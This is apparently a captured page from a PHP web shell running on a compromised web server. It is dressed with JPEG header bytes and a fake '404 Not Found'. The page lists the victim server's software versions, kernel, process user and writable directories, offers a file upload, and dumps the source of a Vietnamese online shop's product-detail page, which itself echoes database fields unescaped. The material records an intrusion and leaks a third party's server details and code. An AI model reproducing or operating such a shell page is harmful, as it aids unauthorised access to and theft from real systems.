����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/product/detail.php
<?php
global $DB,$INFO,$print,$v_lang;

$id = isset($CORE->input['id']) ? intval($CORE->input['id']) : 0;
if($id == 0) {
    $print->refresh('?act=product');
    exit();
}

// Get product details
$product = $DB->fetch_row($DB->query("SELECT * FROM tb_product WHERE id='$id' AND status=0"));
if(!$product) {
    $print->refresh('?act=product');
    exit();
}

// Get product categories
$product_categories = array();
$query_categories = $DB->query("SELECT c.* FROM tb_product_categories c 
                               INNER JOIN tb_product_category pc ON c.category_id = pc.category_id 
                               WHERE pc.product_id = '$id' AND c.category_status = 0 
                               ORDER BY c.category_pos ASC");
while ($row_category = $DB->fetch_row($query_categories)) {
    $product_categories[] = $row_category;
}

// Get primary category (first one)
$primary_category = !empty($product_categories) ? $product_categories[0] : null;

// Get related products
$related_products = array();
$query = $DB->query("SELECT p.* FROM tb_product p 
                    INNER JOIN tb_product_category pc1 ON p.id = pc1.product_id
                    INNER JOIN tb_product_category pc2 ON pc1.category_id = pc2.category_id
                    WHERE pc2.product_id = '$id' AND p.id != '$id' AND p.status=0
                    GROUP BY p.id
                    ORDER BY p.noibat DESC, p.pos ASC
                    LIMIT 4");
while ($row = $DB->fetch_row($query)){
    $related_products[] = $row;
}
$CORE->title_page = $product['title'] . ' | ';
include 'layout/'.$INFO['path_skin'].'/header.php';
include 'layout/'.$INFO['path_skin'].'/menu.php';
?>

<div class="container mt-4 mb-4">
    <div class="row">
        <div class="col-md-12">
            <nav aria-label="breadcrumb">
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="?">Trang chủ</a></li>
                    <li class="breadcrumb-item"><a href="?act=product">Sản phẩm</a></li>
                    <?php if($primary_category): ?>
                    <li class="breadcrumb-item"><a href="?act=product&category=<?php echo $primary_category['category_id']; ?>"><?php echo $primary_category['category_name']; ?></a></li>
                    <?php endif; ?>
                    <li class="breadcrumb-item active" aria-current="page"><?php echo $product['title']; ?></li>
                </ol>
            </nav>
        </div>
    </div>

    <div class="row">
        <div class="col-md-6">
            <?php if($product['path_img']): ?>
                <img src="<?php echo $product['path_img']; ?>" class="img-fluid" alt="<?php echo $product['title']; ?>">
            <?php endif; ?>
        </div>
        <div class="col-md-6">
            <h1><?php echo $product['title']; ?></h1>
            <?php if($v_lang == 'en' && !empty($product['etitle'])): ?>
                <h2><?php echo $product['etitle']; ?></h2>
            <?php endif; ?>

            <!-- Product Rating -->
            <div class="product-rating mb-3">
                <?php
                // Get average rating for this product
                $avg_rating = $DB->fetch_row($DB->query("SELECT AVG(rating) as average, COUNT(*) as count FROM tb_product_ratings WHERE product_id='$id'"));
                $average = $avg_rating['average'] ? round($avg_rating['average'], 1) : 0;
                $count = $avg_rating['count'] ? $avg_rating['count'] : 0;
                ?>
                <div class="rating-display">
                    <div class="stars-outer">
                        <div class="stars-inner" style="width: <?php echo ($average / 5) * 100; ?>%"></div>
                    </div>
                    <span class="rating-value"><?php echo $average; ?></span>
                    <span class="rating-count">(<?php echo $count; ?> đánh giá)</span>
                </div>
                <div class="rating-form mt-2">
                    <p>Đánh giá sản phẩm:</p>
                    <div class="star-rating">
                        <span class="star" data-rating="1">&#9733;</span>
                        <span class="star" data-rating="2">&#9733;</span>
                        <span class="star" data-rating="3">&#9733;</span>
                        <span class="star" data-rating="4">&#9733;</span>
                        <span class="star" data-rating="5">&#9733;</span>
                        <input type="hidden" id="selected-rating" value="0" data-product-id="<?php echo $id; ?>">
                    </div>
                    <div id="rating-message" class="mt-1"></div>
                </div>
            </div>

            <?php if(!empty($product_categories)): ?>
            <div class="product-categories mb-3">
                <span>Danh mục: </span>
                <?php foreach($product_categories as $index => $category): ?>
                    <a href="?act=product&category=<?php echo $category['category_id']; ?>" class="badge badge-primary"><?php echo $category['category_name']; ?></a>
                    <?php if($index < count($product_categories) - 1): ?> <?php endif; ?>
                <?php endforeach; ?>
            </div>
            <?php endif; ?>

            <div class="product-description mt-3">
                <?php if($v_lang == 'en' && !empty($product['eintro'])): ?>
                    <p><?php echo $product['eintro']; ?></p>
                <?php else: ?>
                    <p><?php echo $product['intro']; ?></p>
                <?php endif; ?>
            </div>

            <div class="product-price mt-3">
                <?php if(hasActiveDiscount($product)): ?>
                    <h3 class="text-danger"><?php echo number_format(getDiscountedPrice($product)); ?> VNĐ</h3>
                    <p class="text-muted"><del><?php echo number_format($product['price']); ?> VNĐ</del></p>
                    <p class="badge badge-success">Giảm giá <?php echo number_format($product['discount_amount']); ?> VNĐ</p>
                    <?php if(isset($product['discount_end_date']) && !empty($product['discount_end_date'])): ?>
                        <p class="small text-muted">Thời gian giảm giá: đến <?php echo date('d/m/Y H:i', strtotime($product['discount_end_date'])); ?></p>
                    <?php endif; ?>
                <?php else: ?>
                    <h3 class="text-danger"><?php echo number_format($product['price']); ?> VNĐ</h3>
                    <?php if($product['old_price'] > 0 && $product['old_price'] > $product['price']): ?>
                        <p class="text-muted"><del><?php echo number_format($product['old_price']); ?> VNĐ</del></p>
                    <?php endif; ?>
                <?php endif; ?>
            </div>

            <?php
            // Get product attributes
            $product_attributes = array();
            $query_attrs = $DB->query("
                SELECT a.attribute_id, a.attribute_name, a.attribute_ename, 
                       v.value_id, v.value_name, v.value_ename, v.additional_price, v.quantity, v.path_img, v.is_video
                FROM tb_product_attributes a
                JOIN tb_product_attribute_values v ON a.attribute_id = v.attribute_id
                JOIN tb_product_attribute_mapping m ON v.value_id = m.value_id
                WHERE m.product_id = '$id'
                ORDER BY a.attribute_id, v.value_id
            ");

            while ($row_attr = $DB->fetch_row($query_attrs)) {
                if (!isset($product_attributes[$row_attr['attribute_id']])) {
                    $product_attributes[$row_attr['attribute_id']] = array(
                        'attribute_name' => $v_lang == 'en' && !empty($row_attr['attribute_ename']) ? $row_attr['attribute_ename'] : $row_attr['attribute_name'],
                        'values' => array()
                    );
                }

                $product_attributes[$row_attr['attribute_id']]['values'][] = array(
                    'value_id' => $row_attr['value_id'],
                    'value_name' => $v_lang == 'en' && !empty($row_attr['value_ename']) ? $row_attr['value_ename'] : $row_attr['value_name'],
                    'additional_price' => $row_attr['additional_price'],
                    'quantity' => $row_attr['quantity'],
                    'path_img' => $row_attr['path_img'],
                    'is_video' => $row_attr['is_video']
                );
            }

            // Display product attributes if any
            if (!empty($product_attributes)) {
                echo '<div class="product-attributes mt-4">';

                foreach ($product_attributes as $attribute) {
                    echo '<div class="attribute-group mb-3">';
                    echo '<h5>' . $attribute['attribute_name'] . '</h5>';
                    echo '<div class="attribute-values row">';

                    foreach ($attribute['values'] as $value) {
                        echo '<div class="col-md-4 mb-2">';
                        echo '<div class="attribute-value-card card h-100">';

                        // Display image or video
                        if (!empty($value['path_img'])) {
                            if ($value['is_video'] == 1) {
                                echo '<div class="card-img-top attribute-media">';
                                echo '<video width="100%" height="120" controls>';
                                echo '<source src="' . $value['path_img'] . '" type="video/mp4">';
                                echo 'Your browser does not support the video tag.';
                                echo '</video>';
                                echo '</div>';
                            } else {
                                echo '<img src="' . $value['path_img'] . '" class="card-img-top attribute-media" alt="' . $value['value_name'] . '" style="height: 120px; object-fit: cover;">';
                            }
                        }

                        echo '<div class="card-body">';
                        echo '<h6 class="card-title">' . $value['value_name'] . '</h6>';

                        // Display additional price if any
                        if ($value['additional_price'] > 0) {
                            echo '<p class="card-text text-danger">+' . number_format($value['additional_price']) . ' VNĐ</p>';
                        }

                        // Display quantity if any
                        if ($value['quantity'] > 0) {
                            echo '<p class="card-text">Số lượng: ' . $value['quantity'] . '</p>';
                        }

                        echo '</div>';
                        echo '</div>';
                        echo '</div>';
                    }

                    echo '</div>';
                    echo '</div>';
                }

                echo '</div>';
            }
            ?>

            <div class="product-actions mt-4">
                <?php if($product['price'] > 0): ?>
                    <a href="?act=checkout&action=buy_now&id=<?php echo $product['id']; ?>" class="btn btn-primary btn-lg">Mua ngay</a>
                    <a href="?act=cart&action=add&id=<?php echo $product['id']; ?>" class="btn btn-outline-secondary btn-lg ml-2">Thêm vào giỏ hàng</a>
                <?php else: ?>
                    <a href="?act=contact&product_id=<?php echo $product['id']; ?>" class="btn btn-info btn-lg">Liên hệ</a>
                <?php endif; ?>
            </div>
        </div>
    </div>

    <div class="row mt-5">
        <div class="col-md-12">
            <ul class="nav nav-tabs" id="productTab" role="tablist">
                <li class="nav-item">
                    <a class="nav-link active" id="description-tab" data-toggle="tab" href="#description" role="tab" aria-controls="description" aria-selected="true">Mô tả chi tiết</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" id="specification-tab" data-toggle="tab" href="#specification" role="tab" aria-controls="specification" aria-selected="false">Thông số kỹ thuật</a>
                </li>
            </ul>
            <div class="tab-content" id="productTabContent">
                <div class="tab-pane fade show active p-3" id="description" role="tabpanel" aria-labelledby="description-tab">
                    <?php if($v_lang == 'en' && !empty($product['ebody'])): ?>
                        <?php echo html_entity_decode($product['ebody']); ?>
                    <?php else: ?>
                        <?php echo html_entity_decode($product['body']); ?>
                    <?php endif; ?>
                </div>
                <div class="tab-pane fade p-3" id="specification" role="tabpanel" aria-labelledby="specification-tab">
                    <?php if($v_lang == 'en' && !empty($product['especification'])): ?>
                        <?php echo html_entity_decode($product['especification']); ?>
                    <?php else: ?>
                        <?php echo html_entity_decode($product['specification']); ?>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </div>

    <?php if(!empty($related_products)): ?>
    <div class="row mt-5">
        <div class="col-md-12">
            <h3>Sản phẩm liên quan</h3>
        </div>

        <?php foreach($related_products as $related): ?>
        <div class="col-md-3 mb-4">
            <div class="card h-100">
                <?php if($related['path_img']): ?>
                    <img src="<?php echo $related['path_img']; ?>" class="card-img-top" alt="<?php echo $related['title']; ?>">
                <?php endif; ?>
                <div class="card-body">
                    <h5 class="card-title"><?php echo $related['title']; ?></h5>
                    <?php if(hasActiveDiscount($related)): ?>
                        <p class="card-text text-danger font-weight-bold"><?php echo number_format(getDiscountedPrice($related)); ?> VNĐ</p>
                        <p class="card-text"><small class="text-muted"><del><?php echo number_format($related['price']); ?> VNĐ</del></small></p>
                    <?php else: ?>
                        <p class="card-text text-danger font-weight-bold"><?php echo number_format($related['price']); ?> VNĐ</p>
                    <?php endif; ?>
                    <a href="?act=product&type=detail&id=<?php echo $related['id']; ?>" class="btn btn-primary">Chi tiết</a>
                </div>
            </div>
        </div>
        <?php endforeach; ?>
    </div>
    <?php endif; ?>
</div>

<?php
include 'layout/'.$INFO['path_skin'].'/footer.php';
?>

<!-- Star Rating CSS and JS moved to external files -->

ZeroDay Forums Mini